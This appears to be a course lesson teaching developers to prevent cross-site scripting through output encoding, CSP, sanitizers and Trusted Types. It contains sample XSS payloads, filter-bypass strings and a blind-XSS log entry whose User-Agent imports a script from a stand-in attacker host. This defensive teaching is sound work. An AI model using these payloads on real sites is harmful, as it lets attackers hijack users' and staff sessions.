L32 · Cross-site scripting (XSS)
Module 5: Web Application Security · ~20 min · Lesson 32 of 71
🎯 What you'll learn
- What XSS is: attacker JavaScript running in your page, with your users' privileges
- The three kinds (reflected, stored and DOM-based) and where each bug lives
- The real fix: encode output for the context it lands in, and let your framework do it
- Content Security Policy (CSP) as the safety net, and why
HttpOnlycookies aren't enough
🔥 Why this matters
In October 2005, a MySpace user named Samy Kamkar put a script in his profile. Anyone who viewed it added him as a friend and copied the script into their own profile. More than a million accounts were infected in about 20 hours. Swap "add a friend" for "add a payee": a customer sets a payee nickname to a script in the mobile app, and it runs when an operations analyst opens that payee in the back-office console, using the analyst's session.
1. The browser trusts the origin, not the author
The browser gives every script on https://app.example.com the same powers: read the page, call
that origin's APIs with the user's cookies, change what the user sees. It doesn't know or care who
wrote the script. Cross-site scripting (XSS) is any bug that lets an attacker get their own
script into your page, so it runs with your origin's powers.
It happens when a page mixes data and code, and data ends up being parsed as code:
server builds HTML: "<p>Payee: " + nick + "</p>"
nick = Rent ──▶ <p>Payee: Rent</p> (data)
nick = <img src=x ──▶ <p>Payee: <img src=x (CODE: the
onerror=steal()> onerror=steal()></p> browser runs
steal())
That's the same root cause as SQL injection (L30) and NoSQL injection (L31): untrusted input crossing into an interpreter. Here the interpreter is the browser's HTML and JavaScript parser.
What can the injected script do? Anything the user can do on that page:
- Read what's on screen: balances, account numbers, statements.
- Call your APIs as the user: add a payee, start a transfer, change the email address.
- Read tokens kept in
localStorage(L25), and show a fake "session expired, log in again" form.
It can't read an HttpOnly cookie (L22), but it rarely needs to. The script is already inside the
logged-in page, and the browser attaches the cookie to its requests anyway.
2. Three kinds of XSS
REFLECTED: the payload is in the request, echoed straight back
victim clicks ──▶ /search?q=<script>… ──▶ page prints q
STORED: the payload is saved, then served to everyone
attacker ──▶ POST nickname ──▶ MongoDB ──▶ ops console page
DOM-BASED: the server never sees it; page JS moves it
/help#<img…> ──▶ location.hash ──▶ el.innerHTML = …
Reflected XSS needs the victim to open a crafted link (from a phishing email, say). Classic spots: search pages, error pages that repeat the bad parameter, and login redirects.
Stored XSS is the dangerous one. The payload sits in your database, so no one has to click anything, and it fires for every viewer, including staff with powerful accounts. Your JSON APIs are often the carrier: they store the nickname faithfully, and some other app renders it.
DOM-based XSS lives entirely in front-end JavaScript. Data flows from a source (something
the attacker can influence, like location, document.referrer or postMessage) into a sink
(something that parses HTML or code, like innerHTML, document.write, eval, or an href set
to javascript:). The part after # is never sent to the server, so server logs and your WAF
never see the payload.
One API-specific point: a JSON response served as Content-Type: application/json with
X-Content-Type-Options: nosniff isn't rendered as HTML, so it isn't an XSS sink. The trouble comes
when an API or gateway echoes input in an error page served as text/html.
3. The fix: encode for the context you're writing into
Output encoding converts data into a form the browser shows as text and never parses as code.
< becomes <, so <img> displays as literal characters. The catch: the right encoding depends
on where in the page the data lands.
| Where the data lands | Example | Rule |
|---|---|---|
| HTML text | <td>{x}</td> |
HTML-encode & < > " ' |
| HTML attribute | <input value="{x}"> |
Attribute-encode, and always quote the attribute |
URL in href/src |
<a href="{x}"> |
Allow only https: (and maybe mailto:), then encode |
Inside <script> |
var n = {x}; |
Avoid. Put data in a data- attribute or a JSON block and parse it |
| Inside CSS | style="{x}" |
Avoid |
You rarely write encoders by hand, because modern frameworks encode by default:
- React escapes anything in
{x}in JSX. The escape hatch isdangerouslySetInnerHTML. - Thymeleaf escapes
th:text;th:utext("unescaped text") doesn't. - Handlebars/Mustache escape
{{x}}but not{{{x}}}. - Angular sanitizes bound HTML;
bypassSecurityTrustHtmlturns that off.
So most real XSS bugs today sit in those escape hatches, in hand-built HTML strings, and in front-end
code that writes to innerHTML. Grep for them in code review. URLs are a gap too: encoding doesn't
stop href="javascript:alert(1)". React warns about javascript: URLs (since 16.9), but check the
scheme yourself rather than rely on your React version.
Input validation helps: a payee nickname can be limited to letters, digits, spaces and a few punctuation marks, up to 40 characters. But it's a second layer. The same value lands in HTML, CSV exports, emails and log viewers, so encoding has to happen at each output.
4. Content Security Policy: the safety net
Encoding is the fix. Content Security Policy (CSP) is a response header that tells the browser which scripts are allowed to run, so a missed encoding bug doesn't automatically become code execution. A "strict" CSP is built on a nonce, a random value generated fresh for every response:
Content-Security-Policy: script-src 'nonce-q8Zt2V' 'strict-dynamic';
object-src 'none'; base-uri 'none'
│
▼ the browser checks every script on the page
<script nonce="q8Zt2V" src="/app.js"> ──▶ runs (nonce matches)
<script>steal()</script> ──▶ BLOCKED (no nonce)
<img src=x onerror="steal()"> ──▶ BLOCKED (inline handler)
The injected markup still lands in the page, but its script doesn't run. 'strict-dynamic' lets
your nonced scripts load their own dependencies without a long host list.
Two cautions. First, host allow-lists like script-src 'self' cdn.example.com are weaker than they
look: Google's 2016 study ("CSP Is Dead, Long Live CSP!") found about 95% of real-world policies
could be bypassed, often via a JSONP endpoint or an old library on an allowed host. Second, roll
out with Content-Security-Policy-Report-Only first, which reports violations without blocking, so
you find your own inline scripts before your users do. L37 covers CSP alongside the other security
headers.
🧪 Worked example: the payee nickname, three ways
The mobile app sends PUT /v1/payees/PY-3307 with this body, and the payee API stores it as-is:
{"nickname": "Rent <img src=x onerror=\"alert(document.domain)\">"}
Back-office console (Spring + Thymeleaf), vulnerable and fixed:
<!-- vulnerable: utext inserts raw HTML -->
<td th:utext="${payee.nickname}"></td>
<!-- fixed: text is HTML-encoded -->
<td th:text="${payee.nickname}"></td>
The fixed version sends this to the browser, which displays the payload as harmless text:
<td>Rent <img src=x onerror="alert(document.domain)">
</td>
Customer web app (React), vulnerable and fixed:
// vulnerable: someone wanted bold text in nicknames once
<td dangerouslySetInnerHTML={{ __html: payee.nickname }} />
// fixed: plain JSX text, escaped by React
<td>{payee.nickname}</td>
DOM-based, in a help page that greets the user from the URL:
const name = new URLSearchParams(location.search).get("name");
// vulnerable: the browser parses name as HTML
document.getElementById("hi").innerHTML = "Hi " + name;
// fixed: textContent never parses HTML
document.getElementById("hi").textContent = "Hi " + name;
And at the API, as a second layer: validate the nickname on the way in, so the payload is rejected before it's ever stored.
record PayeeUpdate(
@NotNull @Pattern(regexp = "[\\p{L}\\p{N} .,'&-]{1,40}")
String nickname) {}
🛠 Try it (optional, ~5 min)
Build a tiny lab on your own machine. Save this as ~/tmp/xss-l32/lab.html:
<!doctype html>
<meta charset="utf-8">
<!-- step 3: uncomment the next line -->
<!-- <meta http-equiv="Content-Security-Policy"
content="script-src 'nonce-l32demo'"> -->
<p>innerHTML: <span id="a"></span></p>
<p>textContent: <span id="b"></span></p>
<script nonce="l32demo">
const v = decodeURIComponent(location.hash.slice(1));
document.getElementById("a").innerHTML = v;
document.getElementById("b").textContent = v;
</script>
- Serve it on localhost only:
cd ~/tmp/xss-l32 && python3 -m http.server 8000 --bind 127.0.0.1 - Open
http://127.0.0.1:8000/lab.html#<img src=x onerror=alert(document.domain)>. You should see an alert from theinnerHTMLline, while thetextContentline shows the payload as text. (Browsers percent-encode<and>in the URL fragment, hence thedecodeURIComponent.) - Uncomment the CSP
<meta>tag and reload. No alert this time, and the console says something like "Refused to execute inline event handler because it violates the following Content Security Policy directive". The broken image is still in the page, but its script can't run.
A <script> tag in the hash wouldn't have run even without CSP: innerHTML never executes inserted
<script> elements, which is why real payloads use event handlers like onerror. A fixed nonce is
fine for a lab; in production it must be random per response.
🧠 Key takeaways
- XSS is attacker script running in your origin; it can do anything the logged-in user can do.
- Reflected comes from the request, stored comes from your database, DOM-based never reaches the server.
- The fix is output encoding for the right context. Frameworks do it by default, so audit the escape hatches.
- A nonce-based CSP stops most injected scripts from running; host allow-lists are much weaker.
HttpOnlystops cookie theft, not XSS: the script can still act as the user.
📖 Words to know
| Term | Meaning |
|---|---|
| XSS | Cross-site scripting: attacker-controlled script running in a page of your origin |
| Reflected XSS | Payload in the request, echoed back in the immediate response |
| Stored XSS | Payload saved by the app and served to later viewers |
| DOM-based XSS | Payload moved from a source to a sink by the page's own JavaScript |
| Source / sink | Where attacker-influenced data enters front-end code / an API that parses it as HTML or code |
| Output encoding | Converting data so the browser displays it as text in a given context |
| CSP | Content Security Policy: a header that limits which scripts and resources a page may load or run |
| Nonce | A random, per-response value that marks the scripts CSP should allow |
⏭ Next time
L33 covers cross-site request forgery: how another site can make your browser send a request to your bank, and why SameSite cookies changed the game.
When you must render user HTML: sanitizers and Trusted Types
Sometimes plain text isn't enough. Advisors want bold and bullet points in client notes, marketing wants rich-text email templates, and the help centre renders Markdown. Encoding everything would show the tags as text. You need to keep some HTML and drop the rest, and that's harder than it looks.
Why your own filter will lose
The tempting fix is a regex that strips <script>. Each of these gets past it:
<img src=x onerror=alert(1)> no script tag at all
<svg onload=alert(1)> a different element
<a href="java	script:alert(1)"> entity hides the scheme
<scr<script>ipt>alert(1)</script> strip once, rebuild it
There's also mutation XSS: markup that looks safe to the filter, but the browser's HTML parser rewrites it into something dangerous when it's inserted into the page. Only a sanitizer that parses HTML the way the browser does can keep up, and even then its maintainers keep finding new edge cases.
Use an allow-list sanitizer
A sanitizer parses the HTML, keeps only the elements and attributes you list, and throws everything else away. Use a maintained one and keep it updated. Use DOMPurify in the browser:
const clean = DOMPurify.sanitize(note.html, {
ALLOWED_TAGS: ["p", "b", "i", "ul", "ol", "li", "a"],
ALLOWED_ATTR: ["href"],
});
el.innerHTML = clean;
In Java, use the OWASP Java HTML Sanitizer:
PolicyFactory NOTES = new HtmlPolicyBuilder()
.allowElements("p", "b", "i", "ul", "ol", "li", "a")
.allowAttributes("href").onElements("a")
.allowUrlProtocols("https")
.requireRelNofollowOnLinks()
.toFactory();
String safe = NOTES.sanitize(untrustedHtml);
Sanitize as close to rendering as you can. If you also sanitize on the way in, you still need it on the way out, because old rows, batch imports (an Airflow job, say) and direct database edits skip your API. For Markdown, render to HTML first, then sanitize the result.
Worked example: making the sinks refuse strings with Trusted Types
Trusted Types is a browser feature, switched on through CSP, that makes dangerous DOM sinks like
innerHTML refuse plain strings. They only accept values created by a policy you register:
Content-Security-Policy: require-trusted-types-for 'script';
trusted-types notes-html
const policy = trustedTypes.createPolicy("notes-html", {
createHTML: (s) => DOMPurify.sanitize(s, NOTES_CONFIG),
});
el.innerHTML = note.html; // TypeError: blocked
el.innerHTML = policy.createHTML(note.html); // allowed, sanitized
The win is in review: instead of auditing every innerHTML in the codebase, you audit one policy.
A forgotten sink now fails loudly in testing instead of quietly in production. Support varies:
Chromium-based browsers have had it since 2020, and other engines have been adding it more recently,
so check current support. Browsers without it ignore the directive, and you're back to your other
defences.
🧠 Extra takeaways
- Never filter HTML with regex: encodings, odd elements and parser mutations will beat it.
- Use an allow-list sanitizer (DOMPurify, OWASP Java HTML Sanitizer), keep it updated, sanitize at render time.
- For Markdown, render first and sanitize the HTML that comes out.
- Trusted Types turns every unsafe sink into an error unless the value went through your policy.
Blind XSS: when the victim is your own back-office
Stored XSS has a nasty variant. The attacker plants the payload somewhere public, but it only fires in an internal tool they can't see: an operations console, a support-ticket viewer, a log viewer or an admin dashboard. This is blind XSS. The attacker can't watch it fire, so the payload "phones home" to a server they control when it runs.
The attack path
1. attacker sets payload in a field that gets stored or logged
(payee nickname, support message, User-Agent header)
│
▼
2. API stores it faithfully ──▶ MongoDB / log pipeline
│
▼
3. analyst opens the internal tool on ops.example.com
│
▼
4. tool renders the field with innerHTML ──▶ script runs
with the ANALYST'S session on the internal origin
│
▼
5. script calls internal APIs (approve, export, change
limits) and beacons page content to the attacker
Why it hurts more than ordinary XSS: internal users are the most privileged people you have, and
internal tools are often the least tested. They're built quickly, they skip CSP because "only staff
use it", and they display data from every customer. Headers such as User-Agent, Referer and
X-Forwarded-For flow straight into logs, so even an unauthenticated request can carry a payload.
Web UIs you run but didn't write count too: Airflow and Grafana have both shipped fixes for XSS bugs
in their UIs, so keep them patched.
Worked example: a payload in a log line
An attacker sends one request with a crafted User-Agent. The API gateway logs it as JSON:
{"ts":"2026-11-07T09:14:02Z","route":"/v1/quotes",
"status":404,"client_ip":"203.0.113.50",
"user_agent":"<img src=x onerror=import('//evil.example/x.js')>"}
An internal log-search page builds table rows like this:
// vulnerable: every field is parsed as HTML
row.innerHTML = `<td>${e.route}</td><td>${e.user_agent}</td>`;
// fixed: build cells as text
for (const v of [e.route, e.user_agent]) {
row.insertCell().textContent = v;
}
Nothing about the log line looks like an attack to the gateway: it's a 404 with an odd User-Agent. The bug is entirely in the tool that displays it.
Defending your own back-office
- Encode in every consumer. Treat data from your own database or logs as untrusted, because it originally came from outside.
- Give internal tools a strict CSP, including
connect-srclimited to your own APIs, so a payload that does run can't easily send data out. - Put internal tools on their own origin (
ops.example.com, not a path on the customer site), so the customer app and the console don't share cookies or storage. - Require step-up authentication for high-risk actions like approvals and limit changes (see L22's deep dive), so a hijacked page can't complete them silently.
- Hunt for payloads in a dev copy of your data you're allowed to read: search text fields for
<script,onerror=andjavascript:.
🧠 Extra takeaways
- Blind XSS fires in tools the attacker never sees, and those tools are often run by your most privileged users.
- "It's from our own database" isn't a reason to trust a value; encode it anyway.
- Headers like
User-Agentreach log viewers, so unauthenticated requests can carry payloads. - Internal tools deserve a strict CSP, their own origin, and step-up for sensitive actions.
The quiz for this lesson and the Tests section need JavaScript.